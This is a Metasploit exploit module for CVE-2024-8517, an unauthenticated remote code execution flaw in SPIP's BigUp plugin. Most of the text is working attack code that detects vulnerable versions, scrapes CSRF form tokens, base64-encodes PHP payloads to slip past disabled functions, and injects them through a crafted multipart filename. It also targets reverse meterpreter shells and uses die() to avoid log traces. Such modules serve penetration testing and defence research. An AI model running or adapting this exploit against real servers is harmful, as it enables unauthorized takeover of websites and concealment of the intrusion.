SPIP BigUp 4.3.1 / 4.2.15 / 4.1.17 Unauthenticated Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Payload::Php
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Spip
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
‘Name’ => ‘SPIP BigUp Plugin Unauthenticated RCE’,
‘Description’ => %q{
This module exploits a Remote Code Execution vulnerability in the BigUp plugin of SPIP.
The vulnerability lies in the `lister_fichiers_par_champs` function, which is triggered
when the `bigup_retrouver_fichiers` parameter is set to any value. By exploiting the improper
handling of multipart form data in file uploads, an attacker can inject and execute
arbitrary PHP code on the target server.

This critical vulnerability affects all versions of SPIP from 4.0 up to and including
4.3.1, 4.2.15, and 4.1.17. It allows unauthenticated users to execute arbitrary code
remotely via the public interface. The vulnerability has been patched in versions
4.3.2, 4.2.16, and 4.1.18.
},
‘Author’ => [
‘Vozec’, # Vulnerability Discovery
‘Laluka’, # Vulnerability Discovery
‘Julien Voisin’, # Code Review
‘Valentin Lobstein’ # Metasploit Module
],
‘License’ => MSF_LICENSE,
‘References’ => [
[‘CVE’, ‘2024-8517’],
[‘URL’, ‘https://thinkloveshare.com/hacking/spip_preauth_rce_2024_part_2_a_big_upload/’],
[‘URL’, ‘https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-3-2-SPIP-4-2-16-SPIP-4-1-18.html’]],
‘Platform’ => %w[php unix linux win],
‘Arch’ => %w[ARCH_PHP ARCH_CMD],
‘Targets’ => [
[
‘PHP In-Memory’, {
‘Platform’ => ‘php’,
‘Arch’ => ARCH_PHP
# tested with php/meterpreter/reverse_tcp
}
],
[
‘Unix/Linux Command Shell’, {
‘Platform’ => %w[unix linux],
‘Arch’ => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
‘Windows Command Shell’, {
‘Platform’ => ‘win’,
‘Arch’ => ARCH_CMD
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
]],
‘DefaultTarget’ => 0,
‘Privileged’ => false,
‘DisclosureDate’ => ‘2024-09-06’,
‘Notes’ => {
‘Stability’ => [CRASH_SAFE],
‘Reliability’ => [REPEATABLE_SESSION],
‘SideEffects’ => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]}
)
)
register_options(
[
OptString.new(‘FORM_PAGE’, [true, ‘A page with a form.’, ‘Auto’])
])
end

def check
rversion = spip_version || spip_plugin_version(‘spip’)
return Exploit::CheckCode::Unknown(‘Unable to determine the version of SPIP’) unless rversion

print_status(“SPIP Version detected: #{rversion}”)

vulnerable_ranges = [
{ start: Rex::Version.new(‘4.0.0’), end: Rex::Version.new(‘4.1.17’) },
{ start: Rex::Version.new(‘4.2.0’), end: Rex::Version.new(‘4.2.15’) },
{ start: Rex::Version.new(‘4.3.0’), end: Rex::Version.new(‘4.3.1’) }
]

is_vulnerable = vulnerable_ranges.any? { |range| rversion.between?(range[:start], range[:end]) }

unless is_vulnerable
return CheckCode::Safe(“The detected SPIP version (#{rversion}) is not vulnerable.”)
end

print_good(“SPIP version #{rversion} is vulnerable.”)
plugin_version = spip_plugin_version(‘bigup’)

unless plugin_version
print_warning(‘Could not determine the version of the bigup plugin.’)
return CheckCode::Appears(“The detected SPIP version (#{rversion}) is vulnerable.”)
end

print_status(“Bigup plugin version detected: #{plugin_version}”)
if plugin_version < Rex::Version.new(‘3.2.12’)
return CheckCode::Appears(“Both the detected SPIP version (#{rversion}) and bigup version (#{plugin_version}) are vulnerable.”)
end

CheckCode::Appears(“The detected SPIP version (#{rversion}) is vulnerable.”)
end

# This function tests several pages to find a form with a valid CSRF token and its corresponding action.
# It allows the user to specify a URL via the FORM_PAGE option (e.g., spip.php?article1).
# We need to check multiple pages because the configuration of SPIP can vary.
def get_form_data
pages = %w[login spip_pass contact]

if datastore[‘FORM_PAGE’]&.downcase != ‘auto’
pages = [datastore[‘FORM_PAGE’]]end

pages.each do |page|
url = normalize_uri(target_uri.path, page.start_with?(‘/’) ? page : “spip.php?page=#{page}”)
res = send_request_cgi(‘method’ => ‘GET’, ‘uri’ => url)

next unless res&.code == 200

doc = res.get_html_document
action = doc.at_xpath(“//input[@name=’formulaire_action’]/@value”)&.text
args = doc.at_xpath(“//input[@name=’formulaire_action_args’]/@value”)&.text

next unless action && args

print_status(“Found formulaire_action: #{action}”)
print_status(“Found formulaire_action_args: #{args[0..20]}…”)
return { action: action, args: args }
end

nil
end

# This function generates PHP code to execute a given payload on the target.
# We use Rex::RandomIdentifier::Generator to create a random variable name to avoid conflicts.
# The payload is encoded in base64 to prevent issues with special characters.
# The generated PHP code includes the necessary preamble and system block to execute the payload.
# This approach allows us to test multiple functions and not limit ourselves to potentially dangerous functions like ‘system’ which might be disabled.
def php_exec_cmd(encoded_payload)
vars = Rex::RandomIdentifier::Generator.new
dis = “$#{vars[:dis]}”
encoded_clean_payload = Rex::Text.encode_base64(encoded_payload)
<<-END_OF_PHP_CODE
#{php_preamble(disabled_varname: dis)}
$c = base64_decode(“#{encoded_clean_payload}”);
#{php_system_block(cmd_varname: ‘$c’, disabled_varname: dis)}
END_OF_PHP_CODE
end

def exploit
form_data = get_form_data

unless form_data
fail_with(Failure::NotFound, ‘Could not retrieve formulaire_action or formulaire_action_args value from any page.’)
end

print_status(‘Preparing to send exploit payload to the target…’)

phped_payload = target[‘Arch’] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
b64_payload = framework.encoders.create(‘php/base64’).encode(phped_payload).gsub(‘;’, ”)

post_data = Rex::MIME::Message.new

# This line is necessary for the form to be valid, works in tandem with formulaire_action_args
post_data.add_part(form_data[:action], nil, nil, ‘form-data; name=”formulaire_action”‘)

# This value is necessary for $_FILES to be used and for the bigup plugin to be “activated” for this request, thus triggering the vulnerability
post_data.add_part(Rex::Text.rand_text_alphanumeric(4, 8), nil, nil, ‘form-data; name=”bigup_retrouver_fichiers”‘)

# Injection is performed here. The die() function is used to avoid leaving traces in the logs,
# prevent errors, and stop the execution of PHP after the injection.
post_data.add_part(”, nil, nil, “form-data; name=\”#{Rex::Text.rand_text_alphanumeric(4, 8)}[‘.#{b64_payload}.die().’]\”; filename=\”#{Rex::Text.rand_text_alphanumeric(4, 8)}\””)

# This is necessary for the form to be accepted
post_data.add_part(form_data[:args], nil, nil, ‘form-data; name=”formulaire_action_args”‘)

send_request_cgi({
‘method’ => ‘POST’,
‘uri’ => normalize_uri(target_uri.path, ‘spip.php’),
‘ctype’ => “multipart/form-data; boundary=#{post_data.bound}”,
‘data’ => post_data.to_s
}, 1)
end
end